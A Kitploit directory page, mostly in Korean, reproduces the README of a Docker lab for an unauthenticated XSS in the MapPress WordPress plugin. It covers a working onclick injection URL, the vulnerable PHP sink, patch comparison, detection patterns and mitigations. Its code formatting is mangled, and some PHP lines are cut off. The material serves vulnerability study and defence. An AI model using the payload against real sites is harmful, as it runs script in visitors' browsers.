Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-56011-Lab — CVE-2026-56011을 재현하고 검증하기 위한 Docker 기반 랩, WordPress용 MapPress Maps의 인증되지 않은 XSS 취약점, 취약한 대상과 패치된 대상 비교. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-56011-lab
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-56011-lab

CVE-2026-56011-Lab

CVE-2026-56011을 재현하고 검증하기 위한 Docker 기반 랩, WordPress용 MapPress Maps의 인증되지 않은 XSS 취약점, 취약한 대상과 패치된 대상 비교.

저장소 보기
92개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-56011 - MapPress Maps for WordPress 무인증 XSS (iframe 지도 렌더링)

요약

이 저장소는 MapPress Maps for WordPress에 영향을 미치는 무인증 크로스사이트 스크립팅(Cross-Site Scripting) 취약점인 CVE-2026-56011을 재현하고 검증하기 위한 로컬 Docker 랩입니다.

MapPress Maps for WordPress는 WordPress 페이지와 게시물 내부에 지도를 렌더링하는 데 사용되는 WordPress 플러그인입니다. 취약한 동작은 mappress=embed 요청 매개변수를 통해 접근 가능한 iframe 지도 렌더링 경로에 영향을 미칩니다.

이 랩은 두 가지 MapPress 버전을 비교합니다:

\r\n<mappress-map id="" . esc_attr($name) . "" {$atts}>\r\n$pois\r\n\r\n"; \r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n\r\n";
서비스MapPress 버전용도URL
vuln2.97.3취약한 비교 대상http://localhost:8081
patched2.97.4패치된 비교 대상http://localhost:8082

이 로컬 랩에서 시연된 검증 경로는 다음과 같습니다:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)

root@kitploit:~
취약한 대상은 이 수동 브라우저 URL을 사용합니다:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

예상 취약 결과:```text Click on the rendered MapPress component → alert(1) pops up

root@kitploit:~
패치된 대상은 MapPress 2.97.4에 대해 동일한 페이로드를 사용합니다:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

예상 패치 결과:```text Click on the rendered MapPress component → no alert appears

root@kitploit:~
이 실습은 의도적으로 수동 브라우저 검증만 사용합니다. PoC 스크립트, 브라우저 자동화, 자격 증명 탈취, 외부 콜백, 악성코드, 지속성, 사후 침투 활동 또는 외부 시스템에 대한 공격은 포함하지 않습니다.

## 확인된 사실

| 주장                                                                                  | 근거                                                                                               | 이 실습에서 확인하는 방법                                                                     |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011은 MapPress Maps for WordPress에 영향을 미칩니다. | 공개 취약점 권고는 영향을 받는 WordPress 플러그인을 MapPress Maps for WordPress로 식별합니다. | 참고 자료 섹션을 검토하고 두 Docker 대상에 설치된 플러그인을 검사합니다. |
| 이 실습에서 취약한 비교 버전은 MapPress 2.97.3입니다. | `vuln` 서비스는 `MAPPRESS_VERSION: 2.97.3`을 사용하여 플러그인을 빌드합니다. | `docker-compose.yml`과 `vuln/Dockerfile`을 검사합니다. |
| 이 실습에서 패치된 비교 버전은 MapPress 2.97.4입니다. | `patched` 서비스는 `MAPPRESS_VERSION: 2.97.4`을 사용하여 플러그인을 빌드합니다. | `docker-compose.yml`과 `patched/Dockerfile`을 검사합니다. |
| MapPress 2.97.4는 관련 iframe 이스케이프 수정을 도입했습니다. | 2.97.4의 공식 플러그인 변경 로그에는 `Added: escape in iframe`이라고 나와 있습니다. | 공식 WordPress 플러그인 변경 로그를 검토하고 취약한 소스와 패치된 소스를 비교합니다. |
| 취약한 소스는 지도 이름을 따옴표 없이 웹 구성 요소 `id`에 렌더링합니다. | 2.97.3에서 `mappress_map.php`는 `<mappress-map id={$name} ...>`을 렌더링합니다. | 2.97.3 소스와 2.97.4 소스를 비교합니다. |
| 패치된 소스는 `id` 값을 따옴표로 묶고 이스케이프합니다. | 2.97.4에서 `mappress_map.php`는 `esc_attr($name)`과 함께 `id="`을 렌더링합니다. | 2.97.3과 2.97.4 간의 패치 diff를 비교합니다. |
| iframe 경로는 인증 없이 접근할 수 있습니다. | MapPress는 `$_GET['mappress']`가 있을 때 `template_redirect`를 등록합니다. | 로그인하지 않고 브라우저에서 `/?mappress=embed...`를 요청합니다. |
| iframe 경로는 요청에서 지도 속성을 읽습니다. | `template_redirect()`는 `$_GET`을 지도 인수에 매핑하고 iframe 렌더러를 호출합니다. | `mappress.php`를 검사하고 수동 URL을 재현합니다. |
| 취약한 대상은 `name`을 통한 속성 주입을 허용합니다. | 조작된 name 값은 따옴표 없는 `id` 속성에서 벗어나 `onclick=alert(1)`이 될 수 있습니다. | 취약한 수동 URL을 열고 렌더링된 MapPress 구성 요소를 클릭합니다. |
| 패치된 대상은 테스트된 속성 주입 동작을 차단합니다. | 패치된 출력은 전체 페이로드를 따옴표로 묶인 `id` 속성 안에 유지합니다. | 패치된 수동 URL을 열고 렌더링된 MapPress 구성 요소를 클릭합니다. |

## 가정 및 미지의 사항

이 실습은 공개 권고가 2.97.3 이하 버전을 영향을 받는 것으로 식별하고, 소스 diff가 해당 버전에서 취약한 따옴표 없는 속성 렌더링을 보여주기 때문에 MapPress 2.97.3을 취약한 비교 대상으로 사용합니다.

이 실습은 공개 권고가 2.97.4를 수정된 버전으로 식별하고, 공식 변경 로그가 iframe 경로에 이스케이프가 추가되었다고 명시하기 때문에 MapPress 2.97.4를 패치된 비교 대상으로 사용합니다.

테스트된 취약한 동작은 인증되지 않은 iframe 렌더링 경로입니다:```text
GET /?mappress=embed&name=<crafted-value>

이 랩은 무해한 alert 페이로드를 브라우저에서 수동으로 실행하는 데 초점을 맞춥니다:```text name=cve56011 onclick=alert(1)

root@kitploit:~
이 랩은 저장형 전달 체인을 입증하려 시도하지 않습니다. 일부 공개 보안 권고에서는 이 취약점을 저장형 XSS로 분류합니다. 이 저장소는 소스 코드에서 확인된 iframe 렌더링 싱크와, 인증되지 않은 `mappress=embed` 경로를 통해 로컬에서 재현할 수 있는 취약 버전과 패치 버전 간의 동작 차이에 초점을 맞춥니다.

이 랩은 다음을 시연하지 않습니다:

* 저장된 페이로드의 지속성,
* WordPress 계정 침해,
* 관리자 세션 탈취,
* nonce 탈취,
* 외부 콜백,
* 블라인드 XSS 수집,
* 자격 증명 탈취,
* 데이터베이스 덤프,
* 악성코드,
* 지속성,
* 또는 실험실 외 시스템에 대한 공격.

수동 브라우저 검증은 보안 관련 렌더링 차이를 입증합니다:```text
MapPress 2.97.3:
  crafted name value becomes executable onclick attribute

MapPress 2.97.4:
  crafted name value remains inside the quoted id attribute

근본 원인 요약

CVE-2026-56011의 근본 원인은 MapPress가 iframe 맵 출력 경로 내부에서 웹 컴포넌트를 렌더링할 때 맵 name 값에 대한 출력 인코딩이 잘못된 것입니다.

취약한 코드 경로는 요청의 맵 렌더링 속성을 받아들여 결국 사용자 정의 HTML 요소를 렌더링합니다:```html <mappress-map ...>

root@kitploit:~
MapPress 2.97.3에서 맵 이름은 따옴표 없이 그리고 속성 컨텍스트 이스케이프 없이 `id` 속성에 직접 삽입됩니다:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";

이것은 값이 HTML 속성 컨텍스트에서 사용되므로 안전하지 않습니다. 공격자가 name을 제어할 수 있다면, 공백을 포함한 값은 의도된 id 값을 종료시키고 새 속성을 삽입할 수 있습니다.

취약한 동작은 다음과 같이 요약할 수 있습니다:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes

root@kitploit:~
중요한 점은 일반적인 텍스트 정화(sanitization)는 올바른 출력 이스케이프(escaping)와 동일하지 않다는 것입니다.

취약한 코드는 맵 이름에 `sanitize_text_field()`를 사용하지만, 이는 값을 따옴표로 묶지 않은 HTML 속성에 안전하게 만들지 않습니다.

HTML 속성에서 공백은 속성과 속성을 구분하기 때문에 여전히 의미를 지닙니다.

따라서 보안 문제는 다음과 같습니다:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS

패치된 버전은 렌더링 시 id 값을 따옴표로 묶고 이스케이프하도록 변경합니다:```php return "

root@kitploit:~
패치된 동작은 다음과 같이 요약할 수 있습니다:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)

보안 교훈은 다음과 같습니다:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.

root@kitploit:~
## 소스 코드 분석

소스 수준의 문제는 MapPress 2.97.3과 MapPress 2.97.4를 비교하여 확인되었습니다.

주요 렌더링 싱크는 다음 위치에 있습니다:```text
mappress_map.php

취약한 버전은 name 값을 따옴표로 묶지 않은 id 속성으로 렌더링합니다:```php $name = (isset($vars['name']) ? $vars['name'] : 'noname'); return "

root@kitploit:~
패치된 버전은 속성을 따옴표로 묶고 값을 이스케이프합니다:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";

The iframe 라우트는 요청에 mappress 쿼리 매개변수가 포함되어 있을 때 등록됩니다:```php if (isset($_GET['mappress'])) add_action('template_redirect', array(CLASS, 'template_redirect'));

root@kitploit:~
iframe 요청 핸들러는 쿼리 매개변수를 맵 인자로 매핑합니다:```php
$args = array_map(function($arg) {
    if ($arg  == 'true')
        return true;
    if ($arg == 'false')
        return false;
    return $arg;
}, $_GET);

그런 다음 핸들러는 맵 객체를 생성하거나 로드하고 이를 요청 인수로 업데이트합니다:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();

root@kitploit:~
iframe 헬퍼는 지도 콘텐츠를 렌더링합니다:```php
$content = $map->display(null, true);

display() 경로는 제공된 비어 있지 않은 name 값을 보존합니다:```php if (empty($this->name)) { $this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div"; $div++; }

root@kitploit:~
즉, 요청에서 제공된 `name` 값이 취약한 렌더링 싱크에 도달할 수 있습니다.

보안 관련 흐름은 다음과 같습니다:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>

생성된 맵 속성의 나머지는 속성을 인용하는 헬퍼를 통해 처리됩니다. 취약한 id 렌더링은 name이 분리되어 렌더링되기 때문에 특별합니다.

이로 인해 취약한 표면이 좁아지고 검증하기 쉬워집니다:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().

root@kitploit:~
## 소스 패치 요약

MapPress 2.97.4는 생성된 `<mappress-map>` 요소의 `id` 속성 값을 인용하고 이스케이프 처리하여 취약한 iframe 렌더링 동작을 수정합니다.

취약한 출력 패턴은 다음과 같습니다:```html
<mappress-map id=cve56011 onclick=alert(1) ...>

이 출력에서 브라우저는 다음을 파싱합니다:```text id = cve56011 onclick = alert(1)

root@kitploit:~
패치된 출력 패턴은 다음과 같습니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

이 출력에서 브라우저는 다음을 파싱합니다:```text id = cve56011 onclick=alert(1)

root@kitploit:~
단독 `onclick` 속성은 생성되지 않습니다.

보안 관련 패치는 다음과 같습니다:```text
Before:
  id={$name}

After:
  id="<escaped name>"

소스 수준 수정은 작지만, 해당 경로가 iframe 임베드 엔드포인트를 통해 인증 없이 도달 가능하므로 보안 영향은 실질적입니다.

이 랩은 소스 리뷰와 런타임 검증을 분리하여 유지합니다:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.

Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.

root@kitploit:~
## 랩 아키텍처

이 랩은 Docker Compose를 통해 두 개의 격리된 WordPress 대상을 실행합니다.```text
.
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── vuln/
│   └── Dockerfile
├── README.md
└── .gitignore

There is intentionally no poc/ directory. The validation is manual and browser-based.

The two WordPress services use separate databases and separate WordPress volumes:

ServiceComponentVersion / Role
db-vulnMariaDBvulnerable WordPress용 데이터베이스
db-patchedMariaDBpatched WordPress용 데이터베이스
vulnWordPressMapPress 2.97.3이 설치된 취약한 대상
patchedWordPressMapPress 2.97.4가 설치된 패치된 대상
wpcli-vulnWP-CLIWordPress 설치 및 플러그인 활성화
wpcli-patchedWP-CLIWordPress 설치 및 플러그인 활성화

Default exposed services:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
이 랩은 고정된 MapPress 플러그인 버전을 사용합니다:

| 대상 | MapPress 버전 | 예상 동작 |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 |           2.97.3 | 조작된 컴포넌트를 클릭하면 alert(1)이 실행됨 |
| http://localhost:8082 |           2.97.4 | 조작된 컴포넌트를 클릭해도 alert(1)이 실행되지 않음 |

Docker 빌드는 공식 WordPress 플러그인 다운로드 엔드포인트에서 각 대상에 대한 정확한 플러그인 ZIP을 다운로드합니다:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip

WP-CLI 서비스는 랩 시작 중에 자동으로 실행됩니다. 각 대상에 WordPress를 설치하고 MapPress를 활성화합니다.

이 랩은 취약한 MapPress 경로를 생성하거나 수정하지 않습니다. 해당 경로는 각 대상에 설치된 실제 MapPress 플러그인 버전에서 제공됩니다.

요구 사항

  • Docker Desktop 또는 Docker Engine
  • Docker Compose v2
  • 최초 Docker 이미지 풀 및 플러그인 다운로드 시 인터넷 접속
  • 수동 알림 검증을 위한 로컬 브라우저

Python 종속성은 필요하지 않습니다.

PoC 스크립트는 필요하지 않습니다.

수동 XSS 검증에는 WordPress 로그인이 필요하지 않습니다.

빠른 시작

클린 상태에서 랩을 시작합니다:```bash docker compose down -v --remove-orphans docker compose up -d --build

root@kitploit:~
서비스 상태 확인:```bash
docker compose ps

예상 실행 서비스:```text db-vuln db-patched vuln patched

root@kitploit:~
예상 노출 대상:```text
http://localhost:8081
http://localhost:8082

WordPress 설치 및 플러그인 활성화가 완료되었는지 확인하세요:```bash docker compose logs wpcli-vuln wpcli-patched

root@kitploit:~
예상 설정 메시지:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete

Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete

설정이 완료된 후, WordPress 로그인 페이지는 HTTP 200을 반환해야 합니다:```bash curl -i http://localhost:8081/wp-login.php | head curl -i http://localhost:8082/wp-login.php | head

root@kitploit:~
루트 페이지가 일시적으로 `/wp-admin/install.php`로 리디렉션되면 WP-CLI 설정이 아직 완료되지 않았을 수 있습니다. `wpcli-vuln` 및 `wpcli-patched` 로그에 설정 완료 메시지가 표시될 때까지 기다린 후 다시 시도하세요.

## 수동 Alert XSS 검증

이 랩은 브라우저 수동 검증만 사용합니다.

PoC 스크립트는 포함되어 있지 않습니다.

로그인이 필요하지 않습니다.

### 취약 대상

브라우저에서 이 URL을 여십시오:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

렌더링된 MapPress 컴포넌트를 클릭합니다.

예상 취약 결과:```text alert(1) pops up

root@kitploit:~
보안 의미:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.

취약한 브라우저 파싱 동작은 다음과 동일합니다:```html <mappress-map id=cve56011 onclick=alert(1) ...>

root@kitploit:~
브라우저는 이를 다음과 같이 처리합니다:```text
id = cve56011
onclick = alert(1)

컴포넌트를 클릭하면 이벤트 핸들러가 실행됩니다.

패치된 대상

브라우저에서 이 URL을 엽니다:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
렌더링된 MapPress 구성 요소를 클릭합니다.

예상되는 패치 결과:```text
No alert appears.

Security meaning:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.

root@kitploit:~
패치된 브라우저 파싱 동작은 다음과 동일합니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

브라우저는 이를 다음과 같이 처리합니다:```text id = cve56011 onclick=alert(1)

root@kitploit:~
실행 가능한 `onclick` 속성이 생성되지 않습니다.

## 예상 결과

### 취약한 대상

수동 브라우저 URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

렌더링된 컴포넌트를 클릭한 후의 예상 결과:```text alert(1) pops up

root@kitploit:~
예상 분류:```text
VULNERABLE_BEHAVIOR_OBSERVED

중요한 취약 신호는 다음과 같습니다:```text MapPress 2.97.3

  • unauthenticated mappress=embed request
  • crafted name parameter
  • onclick becomes standalone attribute
  • browser executes alert(1) after click
root@kitploit:~
### 패치된 대상

수동 브라우저 URL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

렌더링된 컴포넌트를 클릭한 후의 예상 결과:```text No alert appears.

root@kitploit:~
예상 분류:```text
BLOCKED_BEHAVIOR_OBSERVED

중요한 패치된 신호는 다음과 같습니다:```text MapPress 2.97.4

  • same unauthenticated mappress=embed request
  • same crafted name parameter
  • payload remains inside quoted id attribute
  • no standalone onclick attribute
  • no alert after click
root@kitploit:~
## 검증 작동 방식

수동 검증은 브라우저 요청을 MapPress iframe 렌더링 경로로 보냅니다:```text
/?mappress=embed

요청에는 조작된 name 값이 포함됩니다:```text cve56011 onclick=alert(1)

root@kitploit:~
취약한 전체 요청은 다음과 같습니다:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

패치된 전체 요청은 다음과 같습니다:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
In MapPress 2.97.3에서 `name` 값은 따옴표로 묶이지 않은 `id` 속성에 삽입됩니다:```html
<mappress-map id=cve56011 onclick=alert(1) ...>

속성이 따옴표로 묶여 있지 않기 때문에 cve56011 뒤의 공백은 새 속성을 시작합니다.

브라우저는 출력을 다음과 같이 해석합니다:```text id="cve56011" onclick="alert(1)"

root@kitploit:~
렌더링된 컴포넌트를 클릭하면, 주입된 이벤트 핸들러가 실행됩니다.

MapPress 2.97.4에서는 동일한 값이 이스케이프 처리되고 따옴표로 묶입니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

브라우저는 전체 페이로드를 단일 id 값으로 해석합니다.

이벤트 핸들러는 생성되지 않습니다.

검증은 의도적으로 수동으로 수행되는데, 브라우저에 표시되는 XSS 동작을 직접 보여주는 것이 목표이기 때문입니다:```text vulnerable target → click → alert(1)

patched target → click → no alert

root@kitploit:~
## 수동 브라우저 재현

랩 시작:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

설정이 완료될 때까지 기다리세요:```bash docker compose logs wpcli-vuln wpcli-patched

root@kitploit:~
예상 설정 완료:```text
vuln setup complete
patched setup complete

취약한 대상 열기:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
렌더링된 MapPress 컴포넌트를 클릭합니다.

예상 결과:```text
alert(1)

패치된 대상 열기:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
렌더링된 MapPress 구성 요소를 클릭합니다.

예상 결과:```text
No alert

포트폴리오 글에 권장되는 스크린샷 증거:```text

  1. docker compose ps showing both targets running
  2. wpcli logs showing WordPress installed and MapPress activated
  3. vulnerable browser page with alert(1)
  4. patched browser page after clicking with no alert
  5. source diff showing id={$name} changed to id=" . esc_attr($name) . "
root@kitploit:~
## 영향

CVE-2026-56011은 인증되지 않은 공격자가 렌더링된 지도 컴포넌트에 JavaScript를 주입하는 MapPress iframe URL을 제작할 수 있기 때문에 보안에 민감합니다.

실제 영향은 악성 URL이 어떻게 전달되는지, 그리고 어떤 사용자가 이를 여는지에 따라 달라집니다.

가능한 영향에는 다음이 포함될 수 있습니다:

* 피해자 브라우저에서 공격자가 제어하는 JavaScript 실행,
* 영향을 받는 WordPress 오리진 내에서의 피싱 또는 UI 조작,
* 동일 출처의 HttpOnly가 아닌 데이터에 대한 접근,
* 추가 애플리케이션 조건이 허용되는 경우 피해자로서 수행되는 작업,
* CSRF 토큰 또는 보호되지 않은 페이지 데이터 탈취,
* 그리고 신뢰할 수 있는 WordPress 사이트 컨텍스트의 악용.

이 랩은 무해한 로컬 alert 페이로드만 시연합니다:```text
onclick=alert(1)

이 랩은 세션 탈취, 자격 증명 탈취, 관리자 계정 탈취, 악의적인 외부 JavaScript 로드, 블라인드 XSS 수집 또는 공개 WordPress 사이트에 대한 공격을 시연하지 않습니다.

프로덕션 환경에서의 실질적인 위험은 다음에 따라 달라집니다:

  • 영향을 받는 MapPress 버전이 설치되어 있는지 여부,
  • 취약한 iframe 엔드포인트에 도달할 수 있는지 여부,
  • 피해자가 조작된 URL을 열도록 설득될 수 있는지 여부,
  • 피해자가 WordPress 사이트에서 보유한 권한,
  • 브라우저 보호 기능,
  • 쿠키 플래그,
  • Content Security Policy,
  • 및 기타 사이트별 통제 조치.

탐지 및 모니터링

잠재적 지표에는 MapPress iframe 렌더링 경로에 대한 요청이 포함됩니다:```text GET /?mappress=embed

root@kitploit:~
의심스러운 쿼리 매개변수에는 `name` 매개변수에 JavaScript 관련 문자열이 포함될 수 있습니다:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...

고신호 감지 아이디어:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=

root@kitploit:~
의심스러운 요청 예시:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

웹 서버 로그 또는 원격 측정(telemetry) 검토 항목:

  • 요청 경로 및 쿼리 문자열,
  • mappress=embed 요청,
  • 의심스러운 name 값,
  • URL 인코딩된 이벤트 핸들러,
  • 외부 리퍼러(referrer)의 요청,
  • iframe 임베드 요청 급증,
  • WordPress 액세스 로그,
  • 리버스 프록시 로그,
  • XSS 페이로드에 대한 WAF 알림,
  • 지도 임베드 엔드포인트로의 비정상적인 트래픽.

권장 모니터링 조치:

  • mappress=embed에 대한 액세스 로그 검토.
  • 쿼리 문자열에서 이벤트 핸들러 패턴 검색.
  • %20onclick%3D와 같은 인코딩된 페이로드 검색.
  • 의심스러운 name 매개변수 값에 대한 알림 설정.
  • 영향을 받는 MapPress 버전이 설치되어 있는지 검토.
  • 플러그인이 2.97.4 이상으로 업데이트되었는지 확인.
  • WAF 차단을 패치를 대체하는 임시 통제 수단으로 간주.

완화 및 패치 노트

WordPress용 MapPress Maps를 버전 2.97.4 이상으로 업그레이드하세요.

관련 패치는 iframe 지도 출력을 변경하여 생성된 웹 컴포넌트 id 속성이 따옴표로 묶이고 이스케이프되도록 합니다.

보안 관련 동작:```text Before: id={$name}

After: id=""

root@kitploit:~
권장 완화 조치:

* WordPress용 MapPress Maps를 2.97.4 이상으로 업그레이드하세요.
* 실험실 비교 버전에 머무르지 말고 사용 가능한 최신 플러그인 버전을 사용하세요.
* 설치된 플러그인 버전이 영향을 받는 범위에 속하지 않는지 확인하세요.
* 업데이트 후 페이지 캐시와 CDN 캐시를 지우세요.
* 의심스러운 `mappress=embed` 요청이 있는지 액세스 로그를 검토하세요.
* 의심스러운 `name` 매개변수 값을 로그에서 검색하세요.
* 이벤트 핸들러가 포함된 `mappress=embed` 요청에 대한 임시 WAF 규칙을 고려하세요.
* WordPress 관리자 기능의 불필요한 노출을 제한하세요.
* 호환되는 경우 제한적인 Content Security Policy를 사용하세요.
* WordPress 코어, 테마, 플러그인을 최신 상태로 유지하세요.

보안 엔지니어링 교훈:

* 모든 HTML 속성을 따옴표로 묶으세요.
* 정확한 출력 컨텍스트에 맞게 출력을 이스케이프하세요.
* WordPress HTML 속성 출력에는 `esc_attr()`을 사용하세요.
* `sanitize_text_field()`를 출력 이스케이프의 대체 수단으로 의존하지 마세요.
* iframe 및 숏코드 렌더링 경로에 대한 회귀 테스트를 추가하세요.
* 사용자 지정 웹 컴포넌트 렌더링을 검토하세요. 사용자 지정 태그도 일반 HTML 구문 분석 규칙을 따르기 때문입니다.

## 안전 경계

이 실습 환경은 로컬 보안 연구 및 통제된 데모 전용입니다.

소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 수동 XSS URL을 사용하지 마세요.

이 실습 환경에서는 실제 프로덕션 자격 증명, 고객 데이터, 결제 데이터, API 키, 데이터베이스 자격 증명 또는 프로덕션 비밀을 사용하지 마세요.

의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

수동 페이로드는 의도적으로 무해합니다:```text onclick=alert(1)

root@kitploit:~
이 실험실에는 다음을 위한 페이로드는 포함되어 있지 않습니다:

* 쿠키 도용,
* 자격 증명 도용,
* CSRF 토큰 도용,
* 관리자 작업 남용,
* 외부 콜백,
* 블라인드 XSS 수집,
* 악성코드,
* 지속성,
* 피싱 키트,
* 브라우저 악용,
* 측면 이동,
* 고객 데이터 접근,
* 또는 실험실 외 시스템에 대한 공격.

목표는 통제된 환경에서 하나의 특정 기술적 조건을 시연하는 것입니다:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute

정리

컨테이너, 네트워크 및 볼륨을 중지하고 제거합니다:```bash docker compose down -v --remove-orphans

root@kitploit:~
Remove locally built lab images if desired:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched

남아 있는 랩 컨테이너가 없는지 확인하세요:```bash docker compose ps

root@kitploit:~
## 참조

* CVE 레코드: CVE-2026-56011
  https://www.cve.org/CVERecord?id=CVE-2026-56011

* NVD: CVE-2026-56011
  https://nvd.nist.gov/vuln/detail/CVE-2026-56011

* WordPress 플러그인: MapPress Maps for WordPress
  https://wordpress.org/plugins/mappress-google-maps-for-wordpress/

* WordPress 플러그인 변경 로그: MapPress Maps for WordPress
  https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers

* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
  https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability

* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/

* WPScan 취약점 데이터베이스: MapPress Maps for WordPress < 2.97.4
  https://wpscan.com/vulnerability/

* WordPress 플러그인 다운로드: MapPress 2.97.3
  https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip

* WordPress 플러그인 다운로드: MapPress 2.97.4
  https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
도구 다운로드